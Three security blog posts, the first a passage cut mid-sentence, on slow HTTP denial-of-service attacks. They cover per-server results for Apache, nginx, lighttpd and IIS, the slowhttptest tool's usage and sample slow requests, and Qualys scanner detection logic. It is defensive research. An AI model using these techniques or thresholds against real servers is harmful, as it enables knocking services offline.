http attacks, I drew some other generalizations about how different Web
servers handle slow http attacks:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<ul>
<li><strong>Apache</strong>, <strong>nginx</strong> and <strong>lighttpd</strong>
wait for complete headers on any URL for requests without a message
body (GET, for example) before issuing a response, even for requests
with the verb FAKESLOWVERB.</li>
<li><strong>Apache</strong> also waits for the entire body of requests with fake verbs before issuing a response with an error message.</li>
<li>For <strong>Apache</strong>, <strong>nginx</strong> and <strong>lighttpd</strong>,
slow requests sent with fake verbs consume resources with the same
success rate as requests sent with valid verbs, so the hacker doesn’t
even need to bother finding a vulnerable URL.</li>
<li>Server
administrators’ scripts typically query for particular expected values
like method, or URL, or referer header, etc., but not for fake verbs.
That means it is likely that slow http attacks using fake verbs or URLs
can go unnoticed by the server administrator.</li>
<li><strong>Each server except IIS</strong> is vulnerable to both slow header and slow message body attacks. IIS is vulnerable only to slow message body attacks.</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>However,
there are some interesting differences in the results as well. The
screenshots below, which show the graphical output of the slowhttptest
tool, demonstrate how connection state changed during the tests, and
illustrate how the various Web servers handle slow http attacks. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Apache MPM prefork:</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Apache
is generally the most vulnerable, and denial of service can be achieved
with 355 connections on the system tested. Apache documentation
indicates a 300-second timeout for connections, but my testing indicates
this is not enforced.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 60px;">
<a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017c355bc6aa970b-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Apache-graph-1" class="asset asset-image at-xid-6a017ee6f6cb91970d017c355bc6aa970b" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017c355bc6aa970b-500wi" title="Apache-graph-1" /></a><br /><br /></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>In the test, the server accepted 483 connections and started processing 355 of them.  The 355 corresponds to <em>RLIMIT_NPROC</em> (max user processes), a machine-dependent value that is 709 on the machine tested, times <em>MaxClients</em>, whose default value in httpd.conf is 50%:  355 = 709 * 50%.  </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The rest of the connections were accepted and backlogged. The limit for backlog is set by the <em>ListenBackLog</em>
directive and is 512 in default httpd.conf, but is often limited to a
smaller number by operating system, 128 in case of Mac OS X. The 483
connected connections shown in the graph correspond to the 355 being
processed plus the 128 in the backlog.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>One interesting side note: The Apache documentation says that <em>ListenBackLog</em>
is the “maximum length of the queue of pending connections”, but a
simple test shows that backlogged connections are being accepted, e.g.
server sends SYN-ACK back, and backlogged connections are ready for
write operations on the client side, which is not a normal behavior for
pending connections. Apache documentation is probably using “pending” to
mean the internal connection state in Apache, but I rather expect
“pending” to refer to the state in the TCP stack, where “pending” means
“waiting to be accepted”. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>I
terminated the test after 240 seconds, but the picture would be the
same for a longer test.  A properly configured client can keep
connections open for hours, until the limit for headers count or length
is met. With such settings, DoS is achieved with N+1 connections, where N
is number specified by <em>MaxClients</em>. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>While testing, I noticed that my httpd.conf had a TimeOut directive set to 300, and Apache 2.0 documentation says that: </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 30px;">The <em>TimeOut</em> directive currently defines the amount of time Apache will wait for three things: </p>
<ol style="padding-left: 30px;">
<li> <ol>
<li>The total amount of time it takes to receive a GET request.</li>
<li>The amount of time between receipt of TCP packets on a POST or PUT request.</li>
<li>The amount of time between ACKs on transmissions of TCP packets in responses.</li>
</ol></li>
</ol>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>I
understand from the above paragraph that the opened connections should
be closed after the TimeOut interval, i.e. 300 seconds in the default
configuration. However, I observed that the connection is closed only if
there is no data arriving for 300 seconds, which means this is not an
effective preventative measure against DoS. This behavior also indicates
that if there are some rules defined to throttle down too many
connections with a similar pattern in a shorter period of time, they are
also ineffective:  An attacker can initiate connections with very low
connection rate and get the same results, as the connection can be
prolonged virtually forever. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>nginx:</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>nginx is also vulnerable to slow http attacks, but it offers more controls than Apache.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 60px;">
<a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017c355bc70c970b-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Nginx-graph-1" class="asset asset-image at-xid-6a017ee6f6cb91970d017c355bc70c970b" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017c355bc70c970b-500wi" title="Nginx-graph-1" /></a><br /><br /></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Surprisingly, the number of initially accepted connections was 377, even with the default settings of <em>worker_connections</em> = 1024, and <em>worker_processes</em> = 1.  But <em>worker_rlimit_nofile</em>,
the maximum number of open file descriptors per worker that governs the
maximum number of connections the worker can accept, has a default
value of 377 on Mac OS X.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>As
shown in the graph above, the server accepts the connections it can
accept, and leaves the rest of the connections pending. Due to some
hardcoded timeout values, connections are closed after 70 seconds no
matter how slow the data is arriving.  Nginx is therefore safer than
default Apache, but it still gives attacker a chance to achieve DoS for
70 seconds. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The
default TCP timeout (75), which closes pending connections, is longer
than the nginx timeout (65), which closes accepted connections. This
means that nginx moves some pending connections to the accepted state
after it times out the first set of accepted connections. This extends
the length of time that a batch of slow connection requests can tie up
the server.  </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>In any case, a client can always re-establish connections every 65 seconds to keep the server under DoS conditions. </p>
<h3>lighttpd:</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Lighttpd with default configuration is vulnerable to both http attacks, which are fairly easy to carry out.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 60px;">
<a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8ab23e970c-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Lighttpd-graph-1" class="asset asset-image at-xid-6a017ee6f6cb91970d017d3f8ab23e970c" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8ab23e970c-500wi" title="Lighttpd-graph-1" /></a><br /><br /></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The
default configuration allows a maximum of 480 connections to be
accepted, as can be seen in the graph above, with the rest pending for
200 seconds, and then closed by a timeout. Lighttpd has a useful
attribute called <em>server.max-read-idle</em> with default value 60,
which closes a connection if no data is received before the timeout
interval, but sending something to the socket every 59 seconds would
reset it, allowing the attacker to keep connections open for a long
time.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The lighttpd forums indicate that a <a href="http://redmine.lighttpd.net/issues/2147" target="_blank">fixed issue</a>
protects against slow HTTP request handling, it only fixes a waste of
memory issue, and hitting the limit of concurrently processing
connections is still pretty easy.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>IIS 7:</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>IIS
7 offers good protection against slow headers, but this protection does
not extend to slow message bodies. Because IIS is architected
differently from the other Web servers tested, the behavior it displays
is also different.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 60px;">
<a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8ab2bf970c-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Iis-graph-1" class="asset asset-image at-xid-6a017ee6f6cb91970d017d3f8ab2bf970c" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8ab2bf970c-500wi" title="Iis-graph-1" /></a><br /><br /></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>IIS
7 accepts all connections, but does not consider them writeable until
headers sections are received in full. Such connections require fewer
resources from IIS, and therefore IIS can maintain a relatively larger
pool of these connections. In the default configuration, it is not
possible to exhaust the pool with a single slowhttptest run, which is
limited to 1024 connections on systems I tested on.  However, it would
be possible to launch multiple instances of slowhttptest to get around
this limitation. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>For
requests with a slow message body, IIS’ protection is useless, as it’s
possible to send complete headers sections but then slow down the
message body section. In this case, the connections are transferred to
IIS’ internal processing queue, which is limited in size to, don’t be
surprised, 100 connections.  Even though the screenshot shows 1000
connections, I experimentally figured out that 100 requests with slow
message body are enough to get DoS.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Final Thoughts</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Software
configuration is all about tradeoffs, and it is normal to sacrifice one
aspect for another. We see from the test results above that all default
configuration files of the Web servers tested are sacrificing
protection against slow HTTP DoS attacks in exchange for better handling
of connections that are legitimately slow. </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Because
a lot of people are not aware of slow http attacks, they will tend to
trust the default configuration files distributed with the Web servers.
It would be great if the vendors creating distribution packages for Web
servers would pay attention to handling and minimizing the impact of
slow attacks, as much as the Web servers’ configuration allows it.
Meanwhile, if you are running a Web server, be careful and always test
your setup before relying on it for production use. </p>
</div>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com5tag:blogger.com,1999:blog-3565796179612457630.post-36025910835663901572011-08-25T22:08:00.000-07:002018-01-15T22:10:14.687-08:00New Open-Source Tool for Slow HTTP DoS Attack Vulnerabilities<p>Cross-posted from <a href="https://community.qualys.com/blogs/securitylabs/2011/08/25/new-open-source-tool-for-slow-http-attack-vulnerabilities" target="_blank" rel="noopener noreferrer">Qualys Security Labs. </a></p>
<div>
<p><a href="http://shekyan.typepad.com/blog/2011/07/identifying-slow-http-attack-vulnerabilities-on-web-applications.html" target="_blank" rel="noopener noreferrer">Slow HTTP attacks</a> are denial-of-service (DoS) attacks that rely on the fact that the HTTP protocol, by design, requires a request to be completely received by the server before it is processed. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. When the server’s concurrent connection pool reaches its maximum, this creates a denial of service. These attacks are problematic because they are easy to execute, i.e. they can be executed with minimal resources from the attacking machine.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Inspired by Robert “Rsnake” Hansen’s Slowloris and Tom Brennan’s OWASP slow post tools, I started developing another open-source tool, called slowhttptest, available with full documentation at <a href="http://code.google.com/p/slowhttptest" target="_blank" rel="noopener noreferrer">http://code.google.com/p/slowhttptest</a>. Slowhttptest opens and maintains customizable slow connections to a target server, giving you a picture of the server’s limitations and weaknesses. It includes features of both of the above tools, plus some additional configurable parameters and nicely formatted output.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Slowhttptest is configurable to allow users to test different types of slow http scenarios. Supported features are:</p>
<ul>
<li>slowing down either the header or the body section of the request</li>
<li>any HTTP verb can be used in the request</li>
<li>configurable Content-Length header</li>
<li>random size of follow-up chunks, limited by optional value</li>
<li>random header names and values</li>
<li>random message body data</li>
<li>configurable interval between follow-up data chunks</li>
<li>support for SSL</li>
<li>support for hosts names resolved to IPv6</li>
<li>verbosity levels in reporting</li>
<li>connection state change tracking</li>
<li>variable connection rate</li>
<li>detailed statistics available in CSV format and as a chart generated as HTML file using Google Chart Tools</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>How to Use</h3>
<p>The tool works out of the box with default parameters, which are harmless and most likely will not cause a denial of service.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Type:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="font-family: 'Courier New'; padding-left: 30px;">$ PREFIX/bin/slowhttptest</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>and the test begins with the default parameters.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Depending on which test mode you choose, the tool will send either slow headers:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="font-family: 'Courier New'; padding-left: 30px;">GET / HTTP/1.1CRLF <br />Host: localhost:80 CRLF <br />User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)CRLF <br />. <br />. n seconds <br />. <br />X-HMzV2bwpzQw9jU9fGjIJyZRknd7Sa54J: u6RrIoLRrte4QV92yojeewiuDa9BL2N7CRLF <br />. <br />. n seconds <br />. <br />X-nq0HRGnv1W: T5dSLCRLF <br />. <br />. n seconds <br />. <br />X-iFrjuN: PdR7Jcj27PCRLF <br />. <br />. <br />.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>or slow message bodies:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="font-family: 'Courier New'; padding-left: 30px;">POST / HTTP/1.1CRLF <br />Host: 10.10.25.116:443CRLF <br />User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1) Gecko/20100101 <br />Firefox/5.0.1CRLF <br />Content-Length: 8192CRLF <br />Connection: closeCRLF <br />Referer: <a href="http://code.google.com/p/slowhttptest/CRLF">http://code.google.com/p/slowhttptest/CRLF</a> <br />Content-Type: application/x-www-form-urlencodedCRLF <br />Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5CRLF <br />CRLF <br />foo=bar <br />. <br />. n seconds <br />. <br />&rjP8=du7FKMe <br />. <br />. n seconds <br />. <br />&93zgIx=jgfpopJ <br />. <br />. <br />.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Repeated until the server closes the connection or the test hits the specified time limit.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Depending on the verbosity level selected, the slowhttptest tool logs anything from heartbeat messages every 5 seconds to a full traffic dump. Output is available either in CSV format or in HTML for interactive use with Google Chart Tools.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><strong>Note</strong>: Care should be taken when using this tool to avoid inadvertently causing denial of service against your servers. For production servers, QualysGuard Web Application Scanner will perform passive (non-intrusive) automated tests that will indicate susceptibility to slow http attacks without the risk of causing denial of service.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Example Test and Results</h3>
<p>The HTML screenshot below shows the results of running slowhttptest against a test server in a test lab. In this scenario, the tool opens 1000 connections with rate of 200 connections per second, and the server was able to concurrently process only 377 connections, leaving the remaining 617 connections pending. Denial of service was achieved within the first 5 seconds of the test, and lasted 60 seconds, until the server timed out some of the active connections. At this point, the server transferred another set of connections from pending state to active state, thus causing DoS again, until the server timed out those connections.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 60px;"><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8ab418970c-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Slowhttptest-1" class="asset asset-image at-xid-6a017ee6f6cb91970d017d3f8ab418970c" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8ab418970c-500wi" title="Slowhttptest-1" /></a><br /><br />Figure 1: Sample HTML output of slowhttptest results.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>As is shown in the above test, the slowhttptest tool can be used to test a variety of different slow http attacks and to understand the effects they will have on specific server configurations. By having a visual representation of the server’s state, it is easy to understand how the server reacts to slow HTTP requests. It is then possible to adjust server configurations as appropriate. In follow-up posts, I will describe some detailed analysis of different HTTP servers’ behavior on slow attacks and mitigation techniques.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Any comments are highly appreciated, and I will review all feature requests posted on the project page at <a href="http://code.google.com/p/slowhttptest" target="_blank" rel="noopener noreferrer">http://code.google.com/p/slowhttptest</a>. Many thanks to those who are contributing to this project.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><strong>Update, August 26, 2011:</strong></p>
<p>Version 1.1. of slowhttptest includes a new test for the Apache range header handling vulnerability, also known as the <a href="http://www.darkreading.com/vulnerability-management/167901026/security/attacks-breaches/231600219/workarounds-issued-for-apache-killer-attack.html" target="_blank" rel="noopener noreferrer">"Apache Killer"</a> <a href="http://www.theregister.co.uk/2011/08/24/devastating_apache_vuln/" target="_blank" rel="noopener noreferrer">attack</a>. The usage example can be found at <a href="http://code.google.com/p/slowhttptest/wiki/ApacheRangeTest" target="_blank" rel="noopener noreferrer">http://code.google.com/p/slowhttptest/wiki/ApacheRangeTest</a>.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><strong>Update, January 5, 2012:</strong></p>
<p>Version 1.3 of slowhttptest includes a new test for the <a href="https://community.qualys.com/blogs/securitylabs/2012/01/05/slow-read">Slow Read DoS attack.</a></p>
</div>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com3tag:blogger.com,1999:blog-3565796179612457630.post-1439138229273105362011-07-07T22:08:00.000-07:002018-01-15T22:10:05.787-08:00Identifying Slow HTTP Attack Vulnerabilities on Web Applications<div>
<p>Cross-posted from <a href="https://community.qualys.com/blogs/securitylabs/2011/07/07/identifying-slow-http-attack-vulnerabilities-on-web-applications" target="_blank" rel="noopener noreferrer">Qualys Security Labs. </a></p>
<p>Slow HTTP attacks rely on the fact that the HTTP protocol, by design, requires requests to be completely received by the server before they are processed. If an http request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. If the server keeps too many resources busy, this creates a denial of service.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>These types of attack are easy to execute because a single machine is able to establish thousands of connections to a server and generate thousands of unfinished HTTP requests in a very short period of time using minimal bandwidth.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Due to implementation differences among various HTTP servers, two main attack vectors exist:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<ul>
<li><strong>Slowloris</strong>: Slowing down HTTP headers, making the server wait for the final CRLF, which indicates the end of the headers section;</li>
<li><strong>Slow POST</strong>: Slowing down the HTTP message body, making the server wait until all content arrives according to the Content-Length header; or until the final CRLF arrives, if HTTP 1.1 is being used and no Content-Length was declared.</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The scary part is that these attacks can just look like requests that are taking a long time, so it's hard to detect and prevent them by using traditional anti-DoS tools. Recent rumors indicate these attacks are happening right now: <a href="http://gcn.com/Articles/2011/06/16/Rash-of-cyberattacks-preventable.aspx">CIA.gov attacked using slowloris</a>.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>QualysGuard Web Application Scanner (WAS) uses a number of approaches to detect vulnerability to these attacks.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Slowloris Detection</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><img alt="" src="https://dum21w3618van.cloudfront.net/images/slowloris.png" style="float: right;" width="40%" />To detect a slow headers (a.k.a. Slowloris) attack vulnerability (<strong>Qualys ID 150079</strong>), WAS opens two connections to the server and requests the base URL provided in the scan configuration.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The request sent to the first connection consists of a request line and one single header line but without the final CRLF, similar to the following:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 30px;"><strong>GET / HTTP/1.1 CRLF</strong></p>
<p style="padding-left: 30px;"><strong>Connection: keep-alive CRLF</strong></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The request sent to the second connection looks identical to the first one, but WAS sends a follow-up header line some interval later to make the HTTP server think the peer is still alive:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 30px;"><strong>Referer: <a href="http://www.qualys.com/products/qg_suite/was/">http://www.qualys.com/products/qg_suite/was/</a> CRLF</strong></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Currently that interval is approximately 10 seconds plus the average response time during the crawl phase.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>WAS considers the server platform vulnerable to a slowloris attack if the server closes the second connection more than 10 seconds later than the first one. In that case, the server prolonged its internal timeout value because it perceived the connection to be slow. Using a similar approach, an attacker could occupy a resource (thread or socket) on that server for virtually forever by sending a byte per T – 1 (or any random value less than T), where T is the timeout after which the server would drop the connection.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>WAS does not report the server to be vulnerable if it keeps both connections open for the same long period of time (more than 2 minutes, for example), as that would be a false positive if the target server were IIS (which has protection against slow header attacks, but is less tolerant of real slow connections).</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Slow POST Detection</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>To detect a slow POST (a.k.a. Are-You-Dead-Yet) attack vulnerability (<strong>QID 150085</strong>), WAS opens two other connections, and uses an action URL of a form it discovered during the crawl phase that doesn't require authentication.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The request sent to the first connection looks like the following:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 30px;"><strong>POST /url_that_accepts_post HTTP/1.1 CRLF</strong></p>
<p style="padding-left: 30px;"><strong>Host: host_to_test:port_if_not_default CRLF</strong></p>
<p style="padding-left: 30px;"><strong>User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;) CRLF</strong></p>
<p style="padding-left: 30px;"><strong>Connection: close CRLF</strong></p>
<p style="padding-left: 30px;"><strong>Referer: <a href="http://www.qualys.com/products/qg_suite/was/">http://www.qualys.com/products/qg_suite/was/</a> CRLF</strong></p>
<p style="padding-left: 30px;"><strong>Content-Type: application/x-www-form-urlencoded CRLF</strong></p>
<p style="padding-left: 30px;"><strong>Content-Length: 512 CRLF</strong></p>
<p style="padding-left: 30px;"><strong>Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 CRLF</strong></p>
<p style="padding-left: 30px;"><strong>CRLF</strong></p>
<p style="padding-left: 30px;"><strong>foo=bar</strong></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Similar to the slow headers approach, WAS sends an identical request to the second connection, and then 10 seconds later sends the following (again without the final CRLF):</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 30px;"><strong>alpha=beta</strong></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>WAS considers the target vulnerable if any of the following conditions are met:</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<ul>
<li>The server keeps the second connection open 10 seconds longer than the first one, or</li>
<li>The server keeps both connections open for more than 120 seconds, or</li>
<li>The server doesn’t close both connections within a 5 minute period (as WAS limits slow tests to 5 minutes only).</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>WAS assumes that if it is possible to either keep the connection open with an unfinished request for longer than 120 seconds or, even better, prolong the unfinished connection by sending a byte per T - 1 (or any random value less than T), then it’s possible to acquire all server sockets or threads within that interval.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>WAS also performs a supplemental test to determine unhealthy behavior in handling POST requests, by sending a simple POST request to the base URI with a relatively large message body (65543 Kbytes). The content of the body is a random set of ASCII characters, and the content type is set to application/x-www-form-urlencoded. WAS assumes that if the server blindly accepts that request, e.g. responds with 200, then it gives an attacker more opportunity to prolong the slow connection by sending one byte per T - 1. Multiplying 65543 by the T - 1 would give you the length of time an attacker could keep that connection open. <strong>QID 150086</strong> is reported on detection of that behavior.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Mitigation</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Tests performed by WAS are passive and as non-intrusive as possible, which minimizes the risk of taking down the server. But because of the possibility of false positives, care should be taken, especially if the HTTP server or IPS (Intrusion Prevention System) is configured to change data processing behavior if a certain number of suspicious requests are detected. If you are interested in active testing, which might take your server down, you can try some active testing using one of these available tools:</p>
<p>* <a href="http://ha.ckers.org/slowloris/slowloris.pl">slowloris</a></p>
<p>* <a href="http://code.google.com/p/r-u-dead-yet/">r-u-dead-yet</a></p>
<p>* <a href="https://www.owasp.org/index.php/OWASP_HTTP_Post_Tool">OWASP HTTP Post Tool</a> (tests against slow headers as well)</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Mitigation of slow HTTP attacks is platform specific, so it'd be nice for the community to share mitigation techniques in the comments below. I'll post an update with information on some of those platforms, as well as general recommendations that can be extrapolated to particular platforms.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><strong>Update</strong>: Learn about <a href="https://community.qualys.com/blogs/securitylabs/2011/08/25/new-open-source-tool-for-slow-http-attack-vulnerabilities">New Open-Source Tool for Slow HTTP DoS Attack Vulnerabilities</a> and download the <a href="http://code.google.com/p/slowhttptest/" target="_blank" rel="noopener noreferrer">slowhttptest tool</a>.</p>
</div>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com1